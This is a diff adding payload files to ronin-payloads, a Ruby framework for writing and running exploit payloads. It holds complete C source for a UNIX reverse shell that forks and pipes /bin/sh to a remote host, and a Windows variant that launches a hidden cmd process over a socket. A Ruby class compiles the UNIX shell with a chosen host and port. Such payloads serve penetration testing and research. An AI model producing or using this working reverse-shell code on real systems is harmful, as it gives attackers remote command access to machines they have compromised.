+ #include <sys/socket.h>
2
+ #include <unistd.h>
3
+ #include <netinet/in.h>
4
+ #include <arpa/inet.h>
5
+ #include <sys/types.h>
6
+ #include <stdio.h>
7
+ #include <stdlib.h>
8
+ #include <string.h>
9
+
10
+ #if !defined(CLIENT_IP)
11
+ #error "must define CLIENT_IP"
12
+ #endif
13
+
14
+ #if !defined(CLIENT_PORT)
15
+ #error "must define CLIENT_PORT"
16
+ #endif
17
+
18
+ int main(void)
19
+ {
20
+ pid_t pid = fork();
21
+
22
+ if (pid == -1)
23
+ {
24
+ write(2, "error: fork failed.\n", 21);
25
+ return 1;
26
+ }
27
+
28
+ if (pid > 0)
29
+ {
30
+ return 0;
31
+ }
32
+
33
+ struct sockaddr_in sa;
34
+
35
+ sa.sin_family = AF_INET;
36
+ sa.sin_port = htons(CLIENT_PORT);
37
+ sa.sin_addr.s_addr = inet_addr(CLIENT_IP);
38
+
39
+ int sockt = socket(AF_INET, SOCK_STREAM, 0);
40
+
41
+ #ifdef WAIT_FOR_CLIENT
42
+ while (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0)
43
+ {
44
+ sleep(5);
45
+ }
46
+ #else
47
+ if (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0)
48
+ {
49
+ write(2, "error: connect failed.\n", 24);
50
+ return 1;
51
+ }
52
+ #endif
53
+
54
+ dup2(sockt, 0);
55
+ dup2(sockt, 1);
56
+ dup2(sockt, 2);
57
+
58
+ char * const argv[] = {"/bin/sh", NULL};
59
+ execve("/bin/sh", argv, NULL);
60
+ return 0;
61
+ }
@@ -0,0 +1,84 @@
1
+ # frozen_string_literal: true
2
+ #
3
+ # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
+ # payloads.
5
+ #
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
+ #
8
+ # ronin-payloads is free software: you can redistribute it and/or modify
9
+ # it under the terms of the GNU Lesser General Public License as published
10
+ # by the Free Software Foundation, either version 3 of the License, or
11
+ # (at your option) any later version.
12
+ #
13
+ # ronin-payloads is distributed in the hope that it will be useful,
14
+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
15
+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16
+ # GNU Lesser General Public License for more details.
17
+ #
18
+ # You should have received a copy of the GNU Lesser General Public License
19
+ # along with ronin-payloads. If not, see <https://www.gnu.org/licenses/>.
20
+ #
21
+
22
+ require 'ronin/payloads/c_payload'
23
+ require 'ronin/payloads/metadata/os'
24
+ require 'ronin/payloads/mixins/reverse_shell'
25
+ require 'ronin/payloads/mixins/tempfile'
26
+
27
+ module Ronin
28
+ module Payloads
29
+ module Bin
30
+ module UNIX
31
+ #
32
+ # UNIX C reverse shell that executes "cmd".
33
+ #
34
+ class ReverseShell < CPayload
35
+
36
+ include Metadata::OS
37
+ include Mixins::ReverseShell
38
+ include Mixins::Tempfile
39
+
40
+ register 'bin/unix/reverse_shell'
41
+
42
+ os :unix
43
+
44
+ author "postmodern"
45
+
46
+ summary 'UNIX C reverse shell'
47
+ description <<~DESC
48
+ UNIX reverse shell that executes "cmd" and is written in C.
49
+ DESC
50
+
51
+ references [
52
+ "https://github.com/izenynn/c-reverse-shell#readme",
53
+ "https://github.com/izenynn/c-reverse-shell/blob/main/linux.c"
54
+ ]
55
+
56
+ param :os, Enum[
57
+ :linux,
58
+ :macos,
59
+ :freebsd
60
+ ], desc: 'The target OS'
61
+
62
+ # The path to the `reverse_shell.c` file.
63
+ SOURCE_FILE = File.join(__dir__,'reverse_shell.c')
64
+
65
+ #
66
+ # Builds the shellcode.
67
+ #
68
+ def build
69
+ tempfile('reverse_shell', ext: '.c') do |tempfile|
70
+ compile(SOURCE_FILE, defs: {
71
+ 'CLIENT_IP' => "\"#{params[:host]}\"",
72
+ 'CLIENT_PORT' => params[:port]
73
+ },
74
+ output: tempfile.path)
75
+
76
+ @payload = File.binread(tempfile.path)
77
+ end
78
+ end
79
+
80
+ end
81
+ end
82
+ end
83
+ end
84
+ end
@@ -0,0 +1,63 @@
1
+ #include <winsock2.h>
2
+ #include <windows.h>
3
+ #include <io.h>
4
+ #include <process.h>
5
+ #include <sys/types.h>
6
+ #include <stdio.h>
7
+ #include <stdlib.h>
8
+ #include <string.h>
9
+
10
+ #if !defined(CLIENT_IP)
11
+ #error "must define CLIENT_IP"
12
+ #endif
13
+
14
+ #if !defined(CLIENT_PORT)
15
+ #error "must define CLIENT_PORT"
16
+ #endif
17
+
18
+ int main(void)
19
+ {
20
+ WSADATA wsaData;
21
+
22
+ if (WSAStartup(MAKEWORD(2 ,2), &wsaData) != 0)
23
+ {
24
+ write(2, "error: WSASturtup failed.\n", 27);
25
+ return 1;
26
+ }
27
+
28
+ int port = CLIENT_PORT;
29
+ struct sockaddr_in sa;
30
+
31
+ sa.sin_family = AF_INET;
32
+ sa.sin_port = htons(port);
33
+ sa.sin_addr.s_addr = inet_addr(CLIENT_IP);
34
+
35
+ SOCKET sockt = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
36
+
37
+ #ifdef WAIT_FOR_CLIENT
38
+ while (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0)
39
+ {
40
+ Sleep(5000);
41
+ }
42
+ #else
43
+ if (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0)
44
+ {
45
+ write(2, "error: connect failed.\n", 24);
46
+ return 1;
47
+ }
48
+ #endif
49
+
50
+ STARTUPINFO sinfo;
51
+
52
+ memset(&sinfo, 0, sizeof(sinfo));
53
+ sinfo.cb = sizeof(sinfo);
54
+ sinfo.dwFlags = (STARTF_USESTDHANDLES);
55
+ sinfo.hStdInput = (HANDLE)sockt;
56
+ sinfo.hStdOutput = (HANDLE)sockt;
57
+ sinfo.hStdError = (HANDLE)sockt;
58
+
59
+ PROCESS_INFORMATION pinfo;
60
+
61
+ CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &sinfo, &pinfo);
62
+ return 0;
63
+ }